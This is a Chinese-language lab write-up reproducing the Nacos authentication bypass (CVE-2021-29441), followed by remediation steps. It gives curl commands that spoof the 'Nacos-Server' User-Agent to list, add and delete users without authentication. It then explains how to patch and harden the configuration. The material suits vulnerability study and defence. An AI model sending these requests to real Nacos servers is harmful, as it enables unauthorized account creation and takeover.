Nacos是Alibaba的一个动态服务发现、配置和服务管理平台。攻击者通过添加Nacos-Server的User-Agent头部将可绕过(nacos.core.auth.enabled=true)鉴权认证,从而进行API操作。
影响版本:<1.4.1
漏洞复现:准备两台centos7,一台用于靶机,一台用于攻击。
靶机安装oracleJDK1.8(JDK安装略),下载nacos1.4.0版本
| 1 2 3 | cd /usr/local/src/ wget https://github.com/alibaba/nacos/releases/download/1.4.0/nacos-server-1.4.0.tar.gz tar xf nacos-server-1.4.0.tar.gz | 
修改conf/application.properties,开启鉴权
| 1 | nacos.core.auth.enabled=true | 
启动服务
| 1 | sh /usr/local/src/nacos/bin/startup.sh -m standalone | 
这样靶机就搭建完成,访问http://IP:8848/nacos/即可登录。
以下操作均在攻击服务器上操作
安装jq
jq是Linux json格式化工具,直接yum安装即可
| 1 | yum install jq | 
漏洞利用
请求用户列表接口,不用鉴权即可看到用户信息,可以看到当前只有一个用户nacos
| 1 | curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq | 

指定User-Agent为Nacos-Server,POST请求添加用户
| 1 | curl -X POST -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test&password=test' | jq | 

再次查看用户列表,此时多了一个刚刚通过POST创建的test用户,漏洞利用成功。
| 1 | curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq | 

访问nacos页面http://IP:8848/nacos,使用test登录成功。

通过漏洞接口直接删除用户
| 1 | curl -X DELETE -w '\n' -s -A 'Nacos-Server' -d 'username=test' 'http://IP:8848/nacos/v1/auth/users' | jq | 
或
| 1 | curl -X DELETE -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test' | jq | 
漏洞修复办法:
升级nacos至1.4.1以上,建议升级至最新版本,修改conf/application.properties字段
| 1 2 3 4 | nacos.core.auth.enabled=false 修改为true nacos.core.auth.enable.userAgentAuthWhite=true 修改为false nacos.core.auth.server.identity.key=自定义值 nacos.core.auth.server.identity.value=自定义值 | 
最后代码层面,在项目中各个工程的bootstrap.yml中cloud.nacos层级下添加username和password字段
| 1 2 3 4 | cloud:   nacos:     username:nacos     password:nacos | 
注意:使用nacos安全起见,建议一定要开启鉴权,否则即使在现在2.1.1版本中依旧可以通过该接口进行利用。
原文链接:Nacos漏洞复现及修复(CVE-2021-29441),转载请注明来源!
 





